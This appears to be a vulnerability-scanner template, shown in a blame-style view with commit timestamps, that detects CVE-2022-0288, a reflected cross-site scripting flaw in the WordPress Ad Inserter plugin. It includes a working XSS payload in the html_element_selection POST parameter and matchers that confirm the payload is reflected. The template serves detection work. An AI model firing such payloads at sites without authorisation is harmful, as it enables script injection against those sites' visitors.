2022-05-05 12:13:31 +00:00
id : CVE-2022-0288
info :
2022-09-10 01:55:52 +00:00
name : WordPress Ad Inserter <2.7.10 - Cross-Site Scripting
2022-05-05 12:13:31 +00:00
author : DhiyaneshDK
2022-09-10 02:12:57 +00:00
severity : medium
2022-09-10 01:55:52 +00:00
description : |
WordPress Ad Inserter plugin before 2.7.10 contains a cross-site scripting vulnerability. It does not sanitize and escape the html_element_selection parameter before outputting it back in the page.
2022-05-05 12:13:31 +00:00
reference :
- https://wpscan.com/vulnerability/27b64412-33a4-462c-bc45-f81697e4fe42
2022-09-10 01:55:52 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-0288
2022-09-10 02:12:57 +00:00
remediation : Fixed in version 2.7.12
2022-05-05 12:13:55 +00:00
classification :
2022-09-10 02:12:57 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-09-10 01:55:52 +00:00
cve-id : CVE-2022-0288
2022-09-10 02:12:57 +00:00
cwe-id : CWE-79
2022-08-27 04:41:18 +00:00
tags : wordpress,xss,wpscan,cve,cve2022
2022-05-05 12:13:31 +00:00
requests :
- method : POST
path :
- "{{BaseURL}}"
headers :
Content-Type : "application/x-www-form-urlencoded"
body : |
html_element_selection=</script><img+src+onerror=alert(document.domain)>
matchers-condition : and
matchers :
- type : status
status :
- 200
- type : word
part : body
words :
- "</script><img src onerror=alert(document.domain)>"
- "ad-inserter"
condition : and
- type : word
part : header
words :
2022-09-10 01:55:52 +00:00
- "text/html"
# Enhanced by md on 2022/09/08